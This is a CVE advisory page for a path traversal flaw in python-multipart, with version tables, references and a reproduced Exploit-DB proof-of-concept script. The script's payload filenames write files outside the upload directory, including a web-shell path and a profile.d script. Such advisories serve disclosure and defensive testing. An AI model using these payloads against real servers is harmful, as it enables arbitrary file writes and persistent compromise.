CVE-2026-24486
Description
Python-Multipart is a streaming multipart parser for Python. Prior to version 0.0.22, a Path Traversal vulnerability exists when using non-default configuration options `UPLOAD_DIR` and `UPLOAD_KEEP_FILENAME=True`. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename. Users should upgrade to version 0.0.22 to receive a patch or, as a workaround, avoid using `UPLOAD_KEEP_FILENAME=True` in project configurations.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Python-Multipart 0.0.22 - Path Traversal
# Exploit Title: Python-Multipart 0.0.22 - Path Traversal
# Date: 2026-02-23
# Exploit Author: cardosource
# Vendor Homepage: https://github.com/Kludex/python-multipart
# Software Link: https://pypi.org/project/python-multipart/
# Version: < 0.0.22 (REQUIRED)
# Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo)
# CVE : CVE-2026-24486
"""
PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured.
Allows arbitrary file write via malicious filename.
"""
import requests
import time
import os
import sys
TARGET_URL = "http://localhost:8000/upload"
SOURCE_FILE = "/etc/hosts" # Small file to upload (content written to target)
if not os.path.exists(SOURCE_FILE):
print(f"[!] Source file not found: {SOURCE_FILE}")
sys.exit(1)
# Malicious filenames (payloads)
payloads = [
"/tmp/poc-abs.txt",
"/etc/poc-etc.txt",
"/root/poc-root.txt",
"../../var/www/html/shell.php",
"../../etc/profile.d/mal.sh",
"../../../tmp/poc-deep.txt",
"../../etc/passwd%00.txt",
"//etc//poc-double-slash.txt",
]
print("[*] CVE-2026-24486 PoC")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Using source file: {SOURCE_FILE}")
print(f"[*] Testing {len(payloads)} payloads...\n")
for i, filename in enumerate(payloads, 1):
print(f"[{i}/{len(payloads)}] Testing: {filename}")
try:
files = {
'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain')
}
r = requests.post(TARGET_URL, files=files, timeout=8)
print(f" Status: {r.status_code}")
if r.text.strip():
print(f" Response: {r.text.strip()}")
else:
print(" Response: (empty)")
except Exception as e:
print(f" Error: {e}")
print("-" * 50)
time.sleep(1.0)
print("\n[*] Done.")
print("Verify files in container:")
print(" docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null")
print("\nMitigation:")
print(" - Upgrade: pip install python-multipart>=0.0.22")
print(" - Avoid UPLOAD_KEEP_FILENAME=True")
print(" - Sanitize: filename = os.path.basename(file.filename)")
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | โ |
Debian Mixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.0.20-1.1~deb13u1 |
| sid | Fixed | 0.0.20-1.1 |
| forky | Fixed | 0.0.20-1.1 |
| bullseye | Affected | โ |
| bookworm | Affected | โ |
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| PyPI | python-multipart | <0.0.22 | 0.0.22 |
References
- https://github.com/Kludex/python-multipart/security/advisories/GHSA-wp53-j4wj-2cfg
- https://nvd.nist.gov/vuln/detail/CVE-2026-24486
- https://github.com/Kludex/python-multipart/commit/9433f4bbc9652bdde82bbe380984e32f8cfc89c4
- https://github.com/Kludex/python-multipart
- https://github.com/Kludex/python-multipart/releases/tag/0.0.22
- https://www.suse.com/security/cve/CVE-2026-24486.html
- https://security-tracker.debian.org/tracker/CVE-2026-24486
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.